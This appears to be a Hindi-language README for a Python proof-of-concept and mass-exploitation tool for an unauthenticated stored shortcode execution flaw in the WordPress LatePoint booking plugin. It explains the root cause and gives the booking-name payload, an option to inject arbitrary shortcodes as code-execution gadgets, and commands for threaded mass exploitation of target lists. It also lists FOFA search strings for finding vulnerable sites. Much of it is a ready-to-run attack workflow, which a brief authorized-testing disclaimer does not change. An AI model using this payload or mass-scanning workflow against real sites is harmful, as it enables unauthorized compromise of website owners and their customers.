
CVE-2026-92966 के लिए Python PoC और सामूहिक-शोषण उपकरण, जो WordPress LatePoint ≤5.7.0 में बुकिंग नाम फ़ील्ड के माध्यम से एक अप्रमाणित संग्रहीत शॉर्टकोड निष्पादन है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-92966 |
| उत्पाद | LatePoint — अपॉइंटमेंट बुकिंग |
| प्रभावित | ≤ 5.7.0 |
| ठीक किया गया | 5.7.1 |
| CWE | CWE-94 — कोड इंजेक्शन (शॉर्टकोड निष्पादन) |
| CVSS 3.1 | 9.1 क्रिटिकल (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| खोजकर्ता | hashiramasenju333 |
| PoCbit कैटलॉग | https://pocbit.org/pocs/ |
| PoCbit पृष्ठ | https://pocbit.org/pocs/cve-2026-92966 |
| सत्यापन मार्कर | POCBIT-92966-OK |
| सलाह | Wordfence Threat Intel |
CVE-2026-102425 के साथ संरेखित Python PoC: डिफ़ॉल्ट रूप से मास एक्सप्लॉइट, --check, -u, --lab, थ्रेड पूल, hits.txt / exploited.txt। कोई API कुंजी नहीं — सार्वजनिक बुकिंग फ़्लो के माध्यम से पूरी तरह से अनधिकृत रूप से रोपण।
WordPress LatePoint अनाम विज़िटरों को अपॉइंटमेंट बुक करने देता है। ग्राहक का पहला नाम / अंतिम नाम केवल sanitize_text_field() के साथ संग्रहीत किया जाता है — वर्गाकार कोष्ठक हटाए नहीं जाते, इसलिए [caption]…[/caption] जैसे मान बने रहते हैं।
जब साइट Customer Cabinet Gutenberg ब्लॉक को रेंडर करती है (render_customer_dashboard() → [latepoint_customer_dashboard]), तो डैशबोर्ड टेम्पलेट ग्राहक का नाम HTML के अंदर प्रिंट करता है (Welcome %s के साथ esc_html($customer->full_name))। esc_html [ या ] को एनकोड नहीं करता, इसलिए शॉर्टकोड-जैसे पेलोड ब्लॉक आउटपुट में बने रहते हैं।
इसके बाद WordPress प्राथमिकता 11 पर the_content पर do_shortcode चलाता है। चूँकि 5.7.0 शॉर्टकोड हैंडलर से कच्चा डैशबोर्ड HTML लौटाता था, स्वागत पंक्ति में संग्रहीत शॉर्टकोड दूसरी बार पार्स किए गए और निष्पादित हुए। 5.7.1 डैशबोर्ड आउटपुट पर encode_shortcode_delimiters() द्वारा इसे ठीक करता है (shortcodes_helper.php टिप्पणी देखें: "the_content runs do_shortcode at priority 11")।
प्रभाव: अनधिकृत मनमाना शॉर्टकोड निष्पादन। यह अपने आप में हमेशा तत्काल OS RCE नहीं होता, लेकिन एक सामान्य WordPress स्टैक पर यह महत्वपूर्ण प्लगइन्स (फ़ॉर्म, बिल्डर, फ़ाइल मैनेजर, eval-आधारित शॉर्टकोड) से जुड़ जाता है। PoC कोर [caption] के साथ निष्पादन साबित करता है और साइट-विशिष्ट RCE गैजेट्स के लिए वैकल्पिक POCBIT_EXEC_SHORTCODE प्रदान करता है।
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (या last_name) को शॉर्टकोड पेलोड पर सेट करें।do_shortcode पास सक्रिय होता है।विक्रेता स्रोत (5.7.0) में संदर्भ:
lib/models/customer_model.php — नामों पर prepare_data_before_it_is_set() / sanitize_text_fieldlib/views/customer_cabinet/dashboard.php — full_name के साथ स्वागत पंक्तिlib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| फ़ाइल | उद्देश्य |
|---|---|
poc.py | CLI, इंटरैक्टिव मेनू, मास एक्सप्लॉइट |
_engine.py | संस्करण जाँच, बुकिंग प्लांट प्रयास, डैशबोर्ड ट्रिगर, लैब |
up.php | वैकल्पिक प्रोब फ़ाइल यदि आपका RCE शॉर्टकोड फ़ाइलें ड्रॉप करता है |
targets.example.txt | बल्क के लिए URL सूची |
extract-5.7.0/ / extract-5.7.1/ | डिफ के लिए विक्रेता ट्री (वैकल्पिक) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
फिंगरप्रिंट: readme.txt Stable tag, LatePoint फ्रंट-एंड संकेत (latepoint-book-form, latepoint_helper), संस्करण ≤ 5.7.0।
python poc.py -u https://target.example --check
python poc.py -u https://target.example
यदि लक्ष्य में एक खतरनाक शॉर्टकोड (फ़ाइल मैनेजर, आदि) है:
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
या: python poc.py -u URL --exec-shortcode "[shortcode]"
डिफ़ॉल्ट प्रोब WordPress कोर [caption]POCBIT-92966-OK[/caption] का उपयोग करता है (निष्पादन सिद्ध करने के लिए किसी अतिरिक्त प्लगइन की आवश्यकता नहीं)।
python poc.py --lab
127.0.0.1:8797 को बाइंड करता है, readme 5.7.0 का अनुकरण करता है, प्लांट बुक करता है, और डैशबोर्ड HTML पर do_shortcode को दोहराता है। "exploited": true की अपेक्षा करें।
| स्थिति | अर्थ |
|---|---|
affected | संस्करण ≤ 5.7.0 (जाँच मोड) |
exploited | बुकिंग विज़ार्ड + लॉग-इन Customer Cabinet पृष्ठ के बाद मार्कर |
plant_no_auth_cookie | नाम प्लांट किया गया लेकिन admin-ajax से कोई customer/WP लॉगिन कुकी नहीं |
plant_missing_service_id | बुकिंग विज़ार्ड में चयन के लिए कोई सार्वजनिक सेवा नहीं |
plant_otp_required / plant_auth_blocked | ग्राहक चरण OTP या लॉगिन नीति द्वारा अवरुद्ध |
no_customer_cabinet_page | सत्र ठीक है लेकिन कोई [latepoint_customer_dashboard] पृष्ठ नहीं मिला |
shortcode_not_triggered | प्लांट + सत्र ठीक; कैबिनेट लोड हुआ लेकिन मार्कर निष्पादित नहीं हुआ |
patched_skip | ≥ 5.7.1 |
no_latepoint | प्लगइन का पता नहीं चला |
FOFA / खोज उदाहरण:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
Exploit की सफलता दर निम्न पर निर्भर करती है: भुगतान के बिना booking wizard तक पहुँच, Customer Cabinet block प्रकाशित, booking के बाद guest session।
latepoint_route_call पर customer[first_name] / last_name में [ को ब्लॉक करें — केवल अस्थायी रूप से।केवल अधिकृत परीक्षण।
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966